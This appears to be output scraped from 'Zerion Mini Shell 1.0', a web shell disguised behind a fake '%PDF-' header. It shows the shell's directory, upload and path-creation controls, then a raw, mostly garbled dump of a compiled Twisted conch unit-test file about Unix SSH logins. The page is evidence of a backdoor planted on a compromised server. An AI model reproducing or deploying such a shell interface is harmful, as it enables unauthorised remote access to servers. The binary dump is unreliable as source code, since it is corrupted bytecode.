%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/conch/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/conch/test/__pycache__/test_unix.cpython-312.pyc

�

Ϫ�f.��b�ddlmZddlmZddlmZmZddlmZm	Z	m
Z
mZddlm
Z
ddlmZddlmZddlmZdd	lmZdd
lmZddlmZmZed
�Zed�Ze�ddlmZmZee�Gd�d��Z e�dne�dndZ!Gd�dejD�Z#Gd�dejD�Z$y)�)�implementer)�
IConchUser)�AllowAnonymousAccess�'InMemoryUsernamePasswordDatabaseDontUse)�	Anonymous�
IAnonymous�IUsernamePassword�UsernamePassword)�LoginDenied)�Portal)�IReactorProcess)�UserDatabase)�
requireModule)�unittest�)�
StubClient�StubConnection�cryptographyztwisted.conch.unixN)�
UnixConchUser�UnixSSHRealmc�,�eZdZdZd�Zdidddddfd�Zy)�MockProcessSpawnerzC
    An L{IReactorProcess} that logs calls to C{spawnProcess}.
    c��g|_y)N)�_spawnProcessCalls)�selfs �>/usr/lib/python3/dist-packages/twisted/conch/test/test_unix.py�__init__zMockProcessSpawner.__init__(s
��"$����Nrc
�N�|jj|||||||||	d�	�y)zQ
        Log a call to C{spawnProcess}. Do not actually spawn a process.
        )	�processProtocol�
executable�args�env�path�uid�gid�usePTY�childFDsN)r�append)
rr!r"r#r$r%r&r'r(r)s
          r�spawnProcesszMockProcessSpawner.spawnProcess+s8��	
���&�&�#2�(������ �$�

�	
r)�__name__�
__module__�__qualname__�__doc__rr+rrrrr"s(���%���
�����
rrzCannot run without cryptographyzUnix system requiredc��eZdZeZdd�Zy)�TestSSHSessionForUnixConchUserNc�x�t�}d}d}|j||��|jtd|�t	�}t|�}t
t���|_tj||��}d}dg}|j||�|j\}	|j||	d	d
�y)zn
        C{execCommand} sets the C{HOME} environment variable to the avatar's home
        directory.
        z/made/up/path/�user��home�pwd)�	transport)�reactorNznot-actually-executedr$�HOME)
r�addUser�patch�unixrrrr�conn�SSHSessionForUnixConchUser�execCommandr�assertEqual)
r�userdb�
homeDirectory�userName�mockReactor�avatar�session�protocol�command�calls
          r�testExecCommandEnvironmentz9TestSSHSessionForUnixConchUser.testExecCommandEnvironmentUs���
���(�
������x�m��4��
�
�4���'�(�*���x�(��$�z�|�<����1�1�&�+�1�N����*�+�����H�g�.��/�/��������U��F�(;�<r��returnN)r,r-r.�
shouldSkip�skiprJrrrr1r1Rs���D�=rr1c�$�eZdZdZeZdd�Zdd�Zy)�TestUnixSSHRealmz$
    Tests for L{UnixSSHRealm}.
    Nc��t�}d}|jd|��|jtd|�t	d��}tt
�|g�}tdd�}|j|dt�}|j|�\}}}	|j|t�t|t�sJ�|j|j�|�y)	zt
        L{UnixSSHRealm} is an L{IRealm} whose C{.requestAvatar} method returns
        a L{UnixConchUser}.
        z/testing/home/valuer3r4r6spassword)r3suserN)rr:r;r<rrrr
�loginr�successResultOf�assertIsInstancer�
isinstancer@�
getHomeDir)
rrAr5�pwdb�p�creds�result�resultInterfacerE�logouts
          r�test_unixSSHRealmz"TestUnixSSHRealm.test_unixSSHRealmqs���
���$�����v�D��)��
�
�4���'�6�K�H���<�>�D�6�*��
$4�G�[�#I�������j�1��*.�*>�*>�v�*F�'�������f�m�4��&�-�0�0�0�����*�*�,�d�3rc���tt�t�g�}|jt	t��dt�}|j|�}|j|jt�y)z?
        L{UnixSSHRealm} will refuse anonymous logins.
        N)rrrrRrrr�failureResultOfrT�valuer)rrXrZ�loginDenieds    r�"test_unixSSHRefusesAnonymousLoginsz3TestUnixSSHRealm.test_unixSSHRefusesAnonymousLogins�sX��
�<�>�$8�$:�#;�<������I�K�0�$�
�C���*�*�6�2�����k�/�/��=rrK)r,r-r.r/rMrNr]rbrrrrPrPjs����D�4�,>rrP)%�zope.interfacer�twisted.conch.interfacesr�twisted.cred.checkersrr�twisted.cred.credentialsrrr	r
�twisted.cred.errorr�twisted.cred.portalr�twisted.internet.interfacesr
�twisted.python.fakepwdr�twisted.python.reflectr�
twisted.trialr�test_sessionrrrr<�twisted.conch.unixrrrrM�TestCaser1rPrrr�<module>rps���'�/����+�&�7�/�0�"�4��^�,���)�*����>�
�_��#
�#
��#
�P��&��|�
 �	
��=�X�%6�%6�=�0$>�x�(�(�$>r

Zerion Mini Shell 1.0